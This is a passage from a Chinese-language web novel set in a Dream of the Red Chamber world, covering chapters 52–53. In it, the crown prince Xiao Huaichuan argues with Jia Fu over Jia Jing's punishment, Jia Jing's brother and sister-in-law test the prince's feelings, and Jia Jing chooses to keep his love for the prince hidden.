萧淮川又思及自己这些时日查到的一些事情,眼眸微冷,看来有些事情,该做准备了。 “阿元,淮哥保证,不会再让你受到伤害了……” 萧淮川又在贾敬床边坐了好一会儿,将贾敬那双冰凉的手捂热后,小心翼翼地将他的手放入被中,捻好被角,才迈步出了屋子。 刚一出去,门口正候着贾敷身边的小厮松儿。 “殿下,我家大爷请您去前厅一叙。” 萧淮川颔首,他也正好想要去问问贾敷,到底所谓何事,需要用家法惩罚贾敬。 他进入厅内,看着站在贾敷边上的史云棠,有一丝诧异,但没有说什么。 贾敷扯了扯嘴角,“殿下请上座。” “孤有一事想要问问敷大哥。”萧淮川刚坐下,便开门见山的开口,“阿元到底所犯何事,居然那样罚他?” 贾敷和史云棠跟着坐下,听萧淮川的问话,贾敷的脸色一沉,只见他猛地一拍桌子: “砰!” “他是长大了,翅膀硬了,家中给他安排相看的小姐姑娘,他是一个也不愿意,还故意下人家姑娘面子,简直反了天了!” 第52章 贾敷的怒气猝不及防泄出, 携着怒意而说出的话也令萧淮川下意识皱了皱眉,心中也跟着诧异,他没想到, 贾敷竟然是因为这件事大动肝火,罚了贾敬。 萧淮川面色微冷,颔首看向贾敷, 语气带着不大认可之意, 缓缓开口, “敷大哥, 您就是为了这件事?” 贾敷好似真的气愤,满脸涨红,面对萧淮川的问话, 反应异常激烈, 他全然不顾忌萧淮川的身份,瞪着眼睛瞧着萧淮川,胸膛剧烈起伏,粗喘着气, 声音陡然拔高道: “什么叫这件事?男大当婚,女大当嫁, 关乎他这辈子的人生头等大事, 岂能容得他这般儿戏对待?” 史云棠见状, 急忙伸手拍了拍贾敷的手背, “如开, 切莫要在殿下面前失了态。” 她安抚完贾敷, 转头看向萧淮川, 面带微笑, 眼中含着歉意, 轻声解释道: “殿下,如开也是太关心阿元这个弟弟,这才情绪一时失控,还望殿下千万不要见怪,” 萧淮川虽不认可贾敷如此,可面对温声细语的史云棠,心中也很难升起不满的情绪来。 “无碍。” 他不计较贾敷失礼的态度,但也并不代表他不计较贾敷对贾敬的所作所为。 即便贾敬没有如贾敷所愿去相看世家小姐,又怎么能动用家法罚他? 贾敬对贾敷这位兄长多么敬重,萧淮川比任何人都清楚,贾敷这样罚他,不仅仅是伤了贾敬的身,更是伤了贾敬的心。 一想到这里,萧淮川的心便更加不快,甚至都动了将贾敬带走养病的心思。 这想法太过越矩,一闪而过。 萧淮川凝视着贾敷依旧生气的面容,一字一顿道:“孤接下来的话,或许敷大哥会生气,可孤还是要说。 “这次确实是敷大哥做的不妥,阿元很看重你这位兄长,敷大哥如此做,会伤了他的心。” 他为阿元感到委屈和难过,他心疼。 贾敷本也只是演出来的气愤,又不是真的气贾敬。至于伤了贾敬这件事,贾敷早已经悔得肠子都青了。 萧淮川的话,让贾敷的心瞬间揪在了一起,差点没绷住,直接在萧淮川面前露了马脚。 贾敷努力调整自己有些抽搐的脸,沉默不言,过了好一会儿,他才沉声开口,“是我的错。” “可也没有那小子那样做事的!”贾敷又连忙找补一句,“这让我又何颜面去面对那些老亲?简直丢人!” 贾敷语气缓和了几分,“为了他的婚事,我们夫妇二人也是操碎了心。那些相看的贵女小姐们,哪个不好?都是大家闺秀,家世清白,才华出众,门当户对,与他相配的很,可是他就是不愿意。” “让我们怎么跟人交代?” 萧淮川听着,眉头忍不住跳动,心中也有了些许猜测,想来贾敷为贾敬介绍的那些世家小姐,多数是与贾家联络有亲的老亲勋贵们。 他也知晓这里面的事情,说好听是亲上加亲,一荣俱荣,说得难听些,里面都是各家族间的利益交换,这么多年也都是这样过来的。 “敷大哥,你口中的好的安排,合适的小姐,就是如理国公府那般的吗?”萧淮川压了压眉眼,手指于桌面上轻敲着,语气透着冷眼, “据孤所知,那位柳小姐已经有了爱慕之人,敷大哥命阿元与其相看,是不是不妥?” 至于那位柳小姐喜欢的是戏班子的一名武生,萧淮川并没有提,这件事到底关乎人家姑娘的闺誉。而柳小姐与武生的身份差距,萧淮川更不想多管。 萧淮川这话一出,史云棠和贾敷都诧异地对视一眼,他们没想到萧淮川连这件事都知道。 诧异过后便是惊喜,萧淮川能知道这件事,不就是他在意贾敬吗?所以对于他的一举一动都有所关注。 史云棠努力压制着想要上扬的嘴角,轻咳一声,故作惊讶道:“殿下连这件事都知道?阿元和你说的?” 以防万一,史云棠还试探了一句,但以她对贾敬的了解,贾敬应当不会与其他人提及此事。 萧淮川并没有回答,而是认真道:“若是真的想要为阿元相看,也请二位好好斟酌对象。” 他抿了抿唇,低声说了句,“多在乎在乎阿元的感受,切莫伤了他的心。” 贾敷一怔,史云棠看向萧淮川的眼神,探究里透露着几分了然。 史云棠感慨一声:“殿下还真是关心阿元,竟然能考虑到这么周到的事情。” 萧淮川颔首:“我拿阿元当弟弟,自然关心他。” 史云棠对萧淮川的话不置可否,说出的话骗得了人,可眼神不会,她话锋一转道: “这次是意外,我们之后后注意的,我们也只是想为阿元找一位贴心人罢了。” 贴心人? 萧淮川心中不由得想起先前与贾敬曾聊过的相看问题。 阿元曾坦诚说与他听,想要找一位心仪之人。 稍稍思忖片刻后,萧淮川才开口道:“敷大哥,阿元向来自由惯了,喜欢无拘无束,许是他暂未寻到心仪之人,这才表现的有些任性胡来,并非是故意胡闹。” 贾敷哼了一声:“自古以来,便是父母之命媒妁之言。何谓心仪之人?他想要什么样的心仪之人?什么样的人能入他的眼?” 面对贾敷的质询,萧淮川却一时愣怔住,思绪忍不住跟着贾敷的话飘远。 是啊,究竟什么样的人会成为阿元的心仪之人? 这个念头一经涌出,便如决堤的洪水一发不可收拾。 萧淮川的脑海里闪过各式各样的女子,或是大家闺秀,或是灵动少女…… 然而,无论如何他努力去想象,他都难以描绘出这些女子与阿元相依相伴的画面。 他想象不出,觉得哪一个都不般配,心中油然升起莫名的别扭之感,仿佛这样的情景本就不应该存在。 萧淮川心中不由得慌乱起来,只当自己是重视阿元,觉得其他人都与他不相配。 “她们不合适。”萧淮川冷不丁忽然冒出这么一句话。 话说出口的瞬间,萧淮川便知道自己失言,敛眸不再开口。 而他低眉一言不发的模样,尽数映入史云棠和贾敷的眼中,两人相互对视一眼,贾敷暗自挑眉,史云棠眯了眯杏眸。 这瞧着不情愿的模样,比他们还舍不得自家弟弟啊? 两人交换了眼神之后,又迅速分开。 史云棠杏眸一转,心中大抵有了数。 萧淮川对于贾敬的关心,远超乎一般人,甚至比他们这对兄嫂还有过之而无不及。 史云棠叹了口气,无奈地说:“殿下,阿元如今也只剩下我和如开两位至亲,作为他的兄嫂,我们怎么可能不操心他的婚事?” “他眼瞧着过了及冠之年,也如愿的金榜题名,怎么好拖着不成婚呢?” 她好似说到苦处,用帕子拭了拭眼尾,方才说的一番话,动之以情,晓之以理,就连萧淮川也无处指摘,他只能紧抿着唇。 史云棠手持帕子挡在眼前,稍稍抬眼偷偷打量着萧淮川的神情,嘴上戚戚道: “况且,我们也是为了阿元着想,到了阿元这般年岁的,还不成婚,恐怕会招来不少人的非议和闲言碎语不是?” “他眼看着就要入朝为官,若是因为这种事被人诟病和非议,那可如何是好?万不能如此。” 萧淮川抬眼,面色狐疑反问:“非议?能有什么非议?” 史云棠脸上划过一丝尴尬之色,虽难为情却还是硬着头皮开了口:“这成年男子若是迟迟拖着不肯成婚,十有八九是有什么难言之隐……” 萧淮川眉头微蹙,追问道:“难言之隐?” 史云棠一甩帕子,遮住了嘴,嘟囔着:“还能是什么难言之隐,多半是那处……” 话刚说出口,史云棠像是想到了什么,忽然闭上嘴,眼神小心地朝萧淮川瞧了一眼。 萧淮川先是一愣,后来明白过来。 史云棠话说一半戛然而止,恐怕顾忌的是自己,毕竟他就属于史云棠口中“久久不婚”的成年男子之列。 不过,他不成婚的原因,朝野上下皆知,是缘由天丰帝不可名状的小心思,至于史云棠说的那个“难言之隐”…… 史云棠结结巴巴解释,说话都不利索了:“殿下,我说的是多半,不是全部,更不是在说您!” 其实她心里跟明镜儿似的,当然知道萧淮川至今尚未婚配的原因,那完全是天丰帝的意思,压根就不存在什么难以启齿的隐疾和私事, 她之所以故意这么说,无非就是想借机将他未婚的话题印出来。 为了阿元,她今日也算是豁得出脸面了。 史云棠想要试探这位储君对于未来婚事,真实的态度,到底是怎么样的。 他真的甘愿一切都被天丰帝操纵和摆布吗? 若是他真的就这样妥协,就算他心里有贾敬,史云棠也不放心。 听史云棠越描越黑,萧淮川只觉得额角有些胀疼,和史云棠聊到了这个话题,让他尴尬的有些坐立不安。 萧淮川紧绷着脸,想要岔开这个话题,“阿元他……” 岂料,他连半句完整的话都还没来得及说完,就被史云棠突如其来的一句“我们家阿元也不是!”给生生打断了。 萧淮川没说出口的话,也因为史云棠这句话,被惊的堵在了喉中,无论如何也吐不出,最后只得硬生生吞了回去。 一旁的贾敷咂摸一声,轻喝道:“说什么呢!” 史云棠讪讪道:“阿元不日就要去翰林院当差,我这不是怕他遭人非议嘛。” 她说着,瞧了萧淮川一眼,声音轻了几分,“殿下您最清楚不过了。” 萧淮川这些年没有成婚,众人也都知道缘由,没人议论萧淮川是否其他有什么问题,但也会议论别的。 比如,东宫没有女主人,未成婚不稳重,储君的子嗣等等…… 这些议论也都成为了御史向天丰帝奏请的内容,连两位成年皇子都已成婚,一国储君至今没有大婚,简直荒唐,不合礼法! 不过御史们的这些折子也都被天丰帝无视或者敷衍打发了,甚至天丰帝找了钦天监,说为萧淮川算了一卦,二十又五之前不得成婚,否则影响国祚。 这样的说法都被天丰帝搬了出来,御史们又哪个敢再提? 他们就算嘴再硬,也不敢去触及国祚之事,这才少了许多议论。 萧淮川一想到贾敬被他人这样议论,便忍不住的蹙起眉。 史云棠趁热打铁,接着说道:“臣妇斗胆问殿下,殿下方才提及阿元想要与心仪之人成婚。” 她说道此处,顿了顿,萧淮川不做声,默默听着。 史云棠叹了口气,语气里是透着无奈和妥协,“殿下,我自然也想要阿元舒心,可他出身于我们这样的家族,这便是他的命。” “身份尊贵如您,也只能如此,不是吗?”史云棠扯出一抹苦涩的笑。 萧淮川不也是按照天丰帝的安排,才迟迟没有大婚吗? 论起来,史云棠的这番话已经算是大不敬了,然而萧淮川却已经顾不上这些了。 史云棠的话,就如一阵风,吹散了他们眼前不愿走出的迷雾。 不谈四王八公这样的勋贵人家,需要靠姻亲维系着各族各府的关系,就连他们皇家,还不是一样如此? 萧淮川自己一直都未定的婚事便是例子,而他两位皇弟的婚事,也是天丰帝精挑细选选出来的。 齐王萧淮洵的王妃是大理寺卿严峰的女儿,这位实权岳丈也让萧淮洵挺直了腰板。 三皇子萧淮泽的三皇子妃,家中虽在朝中不掌实权,可背景来头也不一般,是宗亲老成王唯一的外孙女,备受老成王的宠爱。 老成王与太祖皇帝一辈,论起来是天丰帝的小皇叔,于皇室宗亲里地位极高,一般礼部的宗亲典礼也都由老成王主持,私下里与礼部的一些重要官员来往密切。 相较之下,天丰帝为萧淮川预定的那位太子妃,看着出身于天丰帝的外家,实则比不得权臣和宗亲。 萧淮川自然知道天丰帝的心思,他这样安排,无非是想助长两位皇弟的野心,来牵制自己。 他早已经看清楚自己的位置,天丰帝对于太子妃的安排,萧淮川也不在意,谁都可以,无所谓。 萧淮川从未想着靠什么妻族来稳固自己的地位,与其自己折腾,惹来天丰帝更多的忌惮,还不如顺他的意,萧淮川还能省去许多精力去布局其他。 可他早已经放开、放下的事情,放到贾敬的身上,萧淮川便不得不在意。 萧淮川已经明白贾敬的处境,但他不想阿元这般被束缚,被控制,像个工具一样被安排,没有自由。 就刚刚在贾敬的床前,萧淮川还向他保证,他会一直护着他。 萧淮川的心越发明了,他不仅仅是要护着阿元不受伤害,他更希望阿元可以自由,开心,没有枷锁负担。 他瞬间想明白了许多事情,心里也开始盘算,后面该如何打算。 至于这些事情,萧淮川便没有和史云棠和贾敷说的必要了。 然而,他一言不发的模样,落在史云棠和贾敷眼里,却是令人心惊。 史云棠不动声色地与贾敷飞快对视一眼,皆在对方眼里看出了那稍稍透露出一丝惴惴不安。 他们本想盘算着借此机会试探一下萧淮川,看看他对其亲事的态度。谁曾想到,萧淮川竟然垂眸沉默不言、一副连要反驳都不反驳,直接默认的态度,让贾敷和史云棠的心猛地下沉。 先前,他们隐约察觉到萧淮川对贾敬超乎寻常、异于常人的情愫时,他们心中是忍不住的窃喜与高兴,那时,他们满心欢喜地认为,就算萧淮川尚未明确意识到自己的心意,至少自家阿元也并非独自一人深陷相思之苦。 可此时此刻,面对萧淮川的沉默和妥协,史云棠和贾敷宛如瞬间坠入冰窖,心变得哇凉。 史云棠和贾敷越想越是忧心忡忡。 萧淮川或许真的对贾敬确实存有几分不一样的情意,可那远远不及贾敬那般义无反顾、毅然决然。 这样的结果让贾敷和史云棠皆陷入了沉默,而他们今日这场试探也得到了结果和答案,即便这答案并不如他们所愿。 一想到,在不久后,他们家阿元眼睁睁望着萧淮川迎娶他人,生儿育女,儿孙绕膝,享尽天伦之乐,而他却形单影只,茕茕孑立,孑孓而行,史云棠和贾敷便心如刀绞。 如此一来,两人看向萧淮川的眼神,都忍不住露着些凉意。 萧淮川抬眼便对上了这样的目光,不由得一愣。 怎么这样看着他? 贾敷也因为自己对贾敬未来的幻想而心痛,早已经懒得招待萧淮川,只想打发他赶紧离开,他刚准备开口,便听见一声低咳从花厅屏风后传来。 “咳咳、咳咳咳……” 贾敷先是一惊,怎么会有其他人?但下一瞬便反应过来,咳嗽的声音是贾敬! “阿元!” 贾敷忽的站起身,就要朝屏风后冲过去,就见萧淮川已经如阵风一般的到了屏风处,贾敷忍不住咬了咬牙。 萧淮川皱起眉头,目光紧紧盯着屏风后面那个披着外衣、身形略显单薄的身影。 正是贾敬。 只见贾敬面色苍白如纸,嘴唇干涩起了皮,毫无血色可言。 萧淮川心头一紧,嘴上便忍不住开始唠叨起来:“瞧瞧你这副模样!哪有人像你这般不爱惜自己身体的?” “你就可劲儿折腾吧。” “醒来也不好好躺着休养,还到处乱跑!” 萧淮川虽然嘴里不停地数落着,但他手上的动作却轻柔小心,极其自然捞过贾敬的手, 当他的手指轻轻触碰到贾敬那只冰凉如铁的手时,一股寒意瞬间从指尖传遍全身。 萧淮川眉头拧得更深,手上却没有丝毫犹豫,顺势将贾敬的手拉过来握在掌心,用自己的手将贾敬的手牢牢包紧,嘴上念念有词道: “都凉成这样子了,跟块生铁似的!你来这儿有段时间了吧?” “既然来了,为何不进来?就这么傻乎乎地一直站在那里作甚?” 萧淮川自认为没和贾敷史云棠聊什么贾敬不能听的话题。 若是熟悉萧淮川的人,知道他居然能如此啰嗦后,肯定是见了鬼的表情。 可面对贾敬,萧淮川仿佛真的有操不完的心,忍不住的叮嘱。 贾敬抬起眼眸,目光落在萧淮川紧绷着的脸,以及拉成一条直线的唇角,讨好的笑了笑,桃花眼弯成了新月牙,轻声道: “没有,我真的是刚刚才来。” 萧淮川显然并不相信贾敬所言,却也不跟他辩驳,只是无奈地叹了口气,抬起另一只手,轻轻地贴在了贾敬的脸颊之上。 倒是没烧了,却是冰凉一片。 感受到那片肌肤传来的凉意,萧淮川的心也仿佛是被冻着一般,再次揪了起来。 萧淮川的视线随即移向贾敬额头处的那道伤口,嘴唇不自觉地抿了抿,声音有些沙哑:“这里……还疼吗?” 贾敬像是没明白他在问什么,稍稍歪了一下脑袋,“嗯?什么?” 萧淮川叹了口气,“额头的伤,还疼不疼?” 贾敬但笑不语,只是轻轻地摇了摇头,示意自己并不疼。 萧淮川忍不住又横了贾敬一眼,让贾敬心虚的忍不住缩了缩脖子。 看着贾敬这样,萧淮川是又气又心疼,恨不得拎着贾敬的耳朵教训,狠狠地训斥一番。 好让他长点记性,下一次不要再这么倔了。 若是贾敬实在不愿去相看那些小姐贵女们,大可以敷衍一下,何必跟着家里对着干? 萧淮川算是看出来了,贾敷不愧是贾代化的儿子,脾气简直和他爹如出一辙,一样的暴躁。 可萧淮川知道,贾敬不是那样轻易妥协、任人摆布的人。 他不想做的事情,越是逼迫他,他越是不愿。 倒不是贾敬不懂得变通、一根筋,而是他根本不屑如此,他性子傲的很,萧淮川又怎么不明白? 可话在嘴边转了又转,萧淮川也只是说了句,“好好养着。” 不倔不傲就不是阿元了。 贾敬凝视着萧淮川,“淮哥,我刚刚睡着时,隐约瞧见你给我喂药了?” 萧淮川没想到贾敬那会儿还有些意识。 “嘴里甜丝丝的,淮哥给我喂了蜜饯?” 贾敬咂摸了一下嘴里的滋味,探首问着,眼睛亮晶晶地盯着萧淮川,像是必须要得到一个答案。 萧淮川伸手帮贾敬挽起耳边的碎发,嗤笑:“某人怕苦吃不下药,我可不得用蜜饯哄着?” “还嘴硬说自己大了,不怕苦了。” 面对萧淮川的感慨,贾敬原本苍白的脸,露出一丝微粉,他确实已经不怕苦了,可谁又不喜欢甜呢? “走,进去。” 萧淮川手牵着贾敬便绕过屏风,准备牵他去花厅坐着,吃杯热茶暖暖身子。 他们二人刚踏出屏风,就与贾敷史云棠迎面撞上,只见贾敷史云棠两人见他们出来,如惊弓之鸟,猛地后退一步,仓促的步子都禁不住踉跄了一下,模样显得有些怪异,像是做了什么亏心事。 萧淮川犀利的凤眸掠了他们二人一眼,眼中透露出丝狐疑,稍纵即逝,并未在意。 贾敷神情讪讪,朝贾敬结结巴巴开口道:“阿、阿元,你怎么忽然过来了,也不跟我们说一声。” 其实,他方才正拉着史云棠在这里偷听来着,就是想看看萧淮川和贾敬在屏风后面说什么,结果内容腻歪的他们牙疼。 牙疼之外,便是头疼。 想到此处,贾敷忍不住暗自瞪了萧淮川一眼,心中暗骂道:你说你不能负责,又何必跟贾敬这样亲近,给他念想呢? 史云棠也跟着问,语气里带着紧张,“阿元,你来了多久了?” 这要是听到他们刚才的对话,聪明如贾敬,岂不是得伤心死? 贾敬眨了眨眼睛,一脸无辜道:“我真的就是刚刚才到的这里。” 他说完跟着萧淮川走向一旁的椅子坐下,萧淮川为贾敬紧了紧外衣的衣领,生怕灌了风,紧接着倒了杯热茶,塞到贾敬手里。 “捧着。” 贾敬听话的双手捧着杯子,整个人缩在圈椅内,显得乖得不行。 史云棠和贾敷眼睁睁看着这二人亲昵自然的相处模样,是既牙疼又头疼。张了张嘴,本想要说什么,望着贾敬笑吟吟的眼睛,却终究什么也说不出,最后只能默默端起茶,喝茶。 他们不想扫贾敬的兴,心中也祈祷着,贾敬是真的刚来,没有听见他们和萧淮川的对话。 贾敬捧着茶杯,白色的热气腾腾外冒,模糊了他的眉眼。 “你们刚刚在这里聊什么呢?” 贾敬好奇地问着盯着他瞧的三个人。 萧淮川没觉得方才说的有什么不能给贾敬听得,“刚才……” “我们没聊什么!”贾敷也不顾上什么礼数冒犯,直接将萧淮川的话打断,还给他使了眼色。 萧淮川轻挑了挑眉眼,没再说话。 看来贾敷并不想让贾敬知道,他们方才聊的内容。 贾敬满脸狐疑,“真的?” 贾敷连忙点头,“当然是真的,哥还能骗你不成?” 贾敬缓缓点头,缓声道:“这样啊……” 萧淮川见贾敷说着胡话,眼眸闪了闪,忽然来了句:“敷大哥正愧疚呢,说要给阿元你道歉。” 贾敷一听,瞪大了眼睛,眼中是:你在说什么鬼话! 萧淮川勾了勾唇角,有些懒散的朝椅背上靠了靠,抬了抬下巴,语气略带挑衅,“敷大哥,阿元都来了,正好说吧。” “不会是,说不出口吧?” 他是觉得,阿元对于贾敷罚他这件事,心中定然是有些伤心的。 贾敷能在这边满口胡言,他又为什么不能?本就是贾敷做的不妥,就该向阿元道歉。 贾敷自然看出萧淮川对自己的挑衅,下意识咬了咬牙。 方才虽然在萧淮川面前发火的那套说辞是假的,可他对贾敬的歉意和悔意却是真的,不存在有什么说不出口。 贾敷也明白,萧淮川说的对,他的言行都伤了他的弟弟,他就该道歉。 即便贾敬在他面前袒露了他大逆不道的心思,贾敷又哪里还有怒意? 有的只有对弟弟的疼惜罢了。 贾敷郑重起身,走到贾敬面前,拱手弯腰道:“阿元,今日是哥不对……” “哥,我们不必这样。” 贾敬伸出手,拦住了礼行到一半的贾敷。 贾敷抬起头,对上贾敬认真的目光。 贾敬浅浅一笑,微微摇首,“哥,我们是一家人,不需要这些。” 贾敷嘴唇嚅嗫,想要说什么,却顾忌着萧淮川在场,没有再开口。 贾敬手微微用力,贾敷也知道贾敬在病重没什么力气,便顺着他的意,起了身。 贾敬转头看向萧淮川,他也知道萧淮川是为他委屈,心中暖意一片,他没有道谢,只是定定地望着萧淮川,朝他笑着。 萧淮川叹了口气,他像是想到什么,开口提议: “阿元,这些时日就在家中好好养着,翰林院那边,我为你告假。” 贾敬摇头拒绝,他微微抿了口茶,湿润了几分干涩的喉咙,“不必,距离当值还有五天。” “我这本就没什么大碍,五天定能好全了。” “刚当差就告假,淮哥这是想我刚入翰林院,便给上官留个懒鬼偷懒的印象?” 贾敬这么说,萧淮川便知道劝不动了,只好叮嘱道:“你得保证真的痊愈才去当差。” “嗯嗯。” 贾敬坐了一会儿,精神便瞧着不足,眼皮还是止不住的耸拉着,坐在圈椅上就要睡过去了。 萧淮川:“阿元,回屋内歇着去。” 像是猜到贾敬想要陪着自己的想法,萧淮川又道:“宫内还有事情没有处理,我也要先回去了。” 果然,贾敬努力睁开眼睛,轻声道:“我看着淮哥回去,就回屋里。” 萧淮川站起身,拒绝了贾敬的相送,又叮嘱了他好好吃药,好好休息,他为他带来的蜜饯就放在屋内的桌案上,觉得药苦就吃一颗,但是不能贪嘴云云。 贾敬也不厌其烦的应着。 待萧淮川走后,史云棠关心道:“阿元,若是困了,你就赶紧回去歇着吧,别……” 话说到一半,史云棠便顿住,刚才还困得眼皮直耷拉的贾敬,此刻那双桃花眼清凌凌,清明一片,看不出丝毫的困意。 贾敷扯了扯嘴角,与史云棠互相看了一眼。 好嘛,原来贾敬刚才是装的。 不过为什么要装?为了让萧淮川离开?贾敬不应该喜欢和萧淮川的相处吗? 除非,他是故意将人支走,为什么? 史云棠杏眸猛然睁大,脸色骤然变得难看,喉头发着颤: “阿元,我们刚刚和萧淮川的话,你在屏风后,究竟听到了多少?” 一旁的贾敷此时也如梦初醒般回过神来,心中不禁一阵慌乱。 他同样心虚地看向贾敬,眼神闪烁不定。 “呵。”贾敬轻笑出声,挑眉看向自己兄长,“我如果说,我全部都听见了呢?” 他这话不是在说虚言恫吓贾敷和史云棠,而是说的实话。 萧淮川前脚离开他的院子,贾敬便醒了,听闻他被贾敷和史云棠请了去,生怕兄嫂说了什么,他便急匆匆跟着来了。 待到他来到这里之时,正好瞧见贾敷和史云棠正故作恼怒之态,好似在套萧淮川的话,贾敬便索性站在屏风后面听着,一听便听了个全程。 贾敷和史云棠想要试探萧淮川的用意,自然也被贾敬看透了。 “什么?你真的全部都听见了?”贾敷肉眼可见的变得慌张起来,整个人如遭雷击,紧张地不断眨着眼睛。 “我们也是……”史云棠也急忙想要解释,可太急,又顾忌贾敬的情绪,连往日里巧舌如簧的史云棠,都结巴的一时没说出话来。 贾敬笑着:“你们不必紧张,或者担忧,我知道,哥哥嫂子都是为了我。” 为他操碎了心,他又怎么可能怪罪? 贾敷听了这话,顿时舒出一口气来,史云棠也跟着冷静下来。 史云棠小心看着贾敬神情,见贾敬眉眼舒展,神态平和,看不出什么不悦的情绪,她试探着开口,“殿下他说的,你也都听见了?” 贾敬微勾唇角,“嗯,听见了。” “哥故作发火,他为我委屈,抱不平。” 贾敷忍着有些痒的手心,难以置信地望着贾敬,“你是这么想的?” 他觉得他弟弟喜欢萧淮川已经到了无药可救的地步了! 这就是情人眼里出西施?确定不是眼瞎吗? 没瞧见萧淮川还打算成婚生子吗? 贾敬瞅见贾敷那赤红了眼,恨不得刀了萧淮川的模样,噗嗤一下笑出了声。 “坏了坏了,脑子彻底坏了。”贾敷念叨。 史云棠深吸一口气,想着等会儿开口的措辞。 本想是瞒着贾敬来试探萧淮川一番,却没想到贾敬居然全部听见了,那么还不如将事情都摊开了说,尽可能的保护贾敬。 贾敬说到底还年轻,何必把一辈子定的那么死呢? 史云棠斟酌开口:“阿元,你可知道我们为何这样做?” 贾敬目光与史云棠对视,就在史云棠以为他不准备回答,接着说时,贾敬敛眸点了点头。 “我知道。” “你们是不是也察觉到了,淮哥对我,可能感情也不一般?” 贾敬语气平静,缓缓道出这么一句话,落在史云棠和贾敷耳中,却如石破天惊。 “你知道?”史云棠惊呼出声。 贾敬手指轻轻摩挲着温热的杯壁,低垂了眉眼,看着杯中浅黄色的茶汤,“当然。” 他喃喃自语,声音细如蚊蝇,也不在乎贾敷和史云棠是否能听见,“我怎么可能会不知道呢?” 他又不是草木,怎么可能感受不到。 若萧淮川真的无情,他又怎么可能贪念这么多年? 连着两世,都不愿忘却。 他对萧淮川的情不自禁,不都是因为,萧淮川无意识里透出的情意吗? 如致命的毒药吸引着他,又不得不靠仅存的理智将自己抽离,逼迫着自己缩回想要再进一步的脚。 萧淮川或许不会知道,没有意识到,但贾敬他自己是能感受到的。 贾敬缓缓闭上眼,说出的话仿佛隔着山隔着云,缥缈空灵。 “我知道,哥哥嫂子是看出了淮哥的端倪,想要试探他的心意。” “可以答应阿元,不要去试探,不要去戳破,好吗?” 史云棠更加不解,她好像看不懂贾敬,“我原本以为,只是阿元你一人的相思,一个人,太苦了。” “可是现在,你们都有情,为什么还要这样?” “或许殿下现在没有意识到,只要……” 史云棠说到此处,自己顿住,只要什么? 她说不下去了。 贾敬缓缓睁开眼,那双透彻的眼眸此时蒙上一层薄雾,眼尾带着些湿润。 是啊,只要什么呢? 就算淮哥意识到了,他和淮哥又能如何? 萧淮川是储君,将来,他会登上帝位,会是天下共主。 他又怎么可能会不成婚生子? 群臣又怎么可能会容忍他喜欢男子。 史上确实有帝王有断袖分桃之癖,可在史书里,这终究不是光彩的一笔,更会成为后人的闲闻轶事、八卦谈资。 即便萧淮川愿意,贾敬也不愿意。 贾敬又怎么可以成为史书上萧淮川的那一抹污点呢? 还是说,让他与萧淮川暗度陈仓? 贾敬嘴角扯出一抹笑,他努力想要牵起嘴角,却显得惨谈勉强。 萧淮川若是什么都不知道,他们的关系止步于君臣,贾敬还能自欺欺人将自己困住,他还能看着萧淮川娶妻生子。 可若是真的捅破这层窗户纸,贾敬自知,他做不到看着萧淮川于他人亲近。 一旦到了爱人的地步,他会压不住心中的妒意和占有欲,他会发疯。 或许到那时候,可能事情真的会走到万劫不复的地步。 因此,他这世重来的目的,除了保全家族和亲人外,便只有萧淮川。他要萧淮川好好活着,做一个万人敬仰的明君。 除此之外,他已经不做妄想,别无所求。 明君贤臣,君如青山,他为松柏,这便是贾敬为他和萧淮川想好的最好结局。 一切的关系,止步于此就好。 史云棠这下是彻底明白了,贾敬是想要自己苦熬下这一切。 至于萧淮川,若是现在不知,以后便一直都别有所改变。 史云棠颤着声,“你何必呢?” 贾敬终于是牵起了嘴角,露出了一抹笑,似释然似苦涩,“一个人痛苦,总比两个人痛苦强。” 【作者有话要说】 啊啊啊啊我真的万更了!! 注释:1.茕茕孑立,孑孓而行。出自《陈情表》 2.君如青山,他为松柏。出自《大秦帝国》 第53章 史云棠和贾敷彻底说不出话来, 他们怎么也想不到,贾敬居然是这样想的。 真的可以这样去爱一个人,而不求任何回应吗? 这需要多么大的毅力, 来压抑着自己的情感和欲望,反抗着本能。 史云棠抿了抿唇,忽然问道:“你也说了, 他目前只是没有察觉到罢了, 但若是有一天, 他也认清了呢?” 贾敬原本捧着杯子的手微微一颤, 顿在了半空中,过了片刻之后,他才慢慢地将那只已经凉透了的茶杯轻轻放在桌上, 然后抬起头来, 目光直直地望向对面坐着的史云棠,嘴唇轻动,吐出一句: “我不知道。” “倘若真的有那么一天,他想要怎样做, 那都是他的决定和选择……”说到这里的时候,贾敬略微停顿了一下, 深深地吸了一口气, 才接着说道: “如今我能做的, 也就是竭尽全力地去克制这颗躁动不安的心罢了。” 贾敬的手轻轻抚上了自己的心口, 手指颤颤, 感受着胸膛里跳动的那颗心。 他也就只能勉强压制自己的心, 至于萧淮川, 他实在是分不出多余的心力去想去管了, 他也管不着。 这件事, 自始至终,都是他一人的事而已。 史云棠张了张唇,终究是没忍住,将心中的担忧问了出来: “他若是意识到,向你坦白相告,到那时,你当如何?” 若是真的是这样的情况,已然算得上是她能预料到的较为乐观的情形。 然而,更糟糕的情况是…… 史云棠不自觉地紧了紧喉咙,缓缓道:“若是他耻于面对这段感情,觉得困扰……甚至于厌恶,你可知道,到了那个地步,你将陷于怎么样的危险之中?” 贾敬将完全陷入被动的地步。 一直缩在圈椅中的贾敬缓缓站起身,挺直了腰背,那双妖冶的桃花眼凝视着厅外的某个方向,一字一顿道: “感情的事情,虚无缥缈,他能看清他的心,真的能看清我的心吗?” 贾敬看向史云棠身旁一直未说话、面沉如墨的贾敷。 贾敷顺势迎上贾敬的目光,两人看了许久,贾敷才沉声开口:“你真的都想好了?” “不后悔?” 贾敬轻声嗯了声:“嗯,我想清楚了。” 贾敷眨了眨酸涩的眼睛,“你想好,便好。” “想做什么,便去做什么吧,” 史云棠见贾敷这样说,也不再多言。 感情一事,如人饮水,冷暖自知,谁也不能代替谁感同身受。 就拿她和贾敷的婚事,即便有两家太爷在世时便定下的婚约,他们最终能走到一起,也是凭借着他们二人的同心协力和坚持,这里面经历了什么,也只有他们自己知道。 · 自那天和兄嫂将事情彻底说开后,贾敬便窝在自己的院落里好好养病。 萧淮川先前带来的王御医也是风雨无阻,每日都来宁国府帮贾敬复诊看脉,太子东宫也时不时有人送来补品,贾敬也都收了下来。 五天时间一晃而过,终于到了贾敬入翰林院当差的日子。 古话说的没错,病来如山倒,病去如抽丝,贾敬仿佛身上卸去了几座山的重量,他动了动有些僵硬的筋骨,松快松快。 “二爷,这官服看着真好看,” 素雪白皙的手指轻轻抚摸过青色官服上绣的鸟纹,语气兴奋,“二爷穿上,绝对是最俊俏的一位。” 贾敬瞥了眼三日前送来的正七品青色官服,“你这妮子,我这是去上差,又不是去选美。” 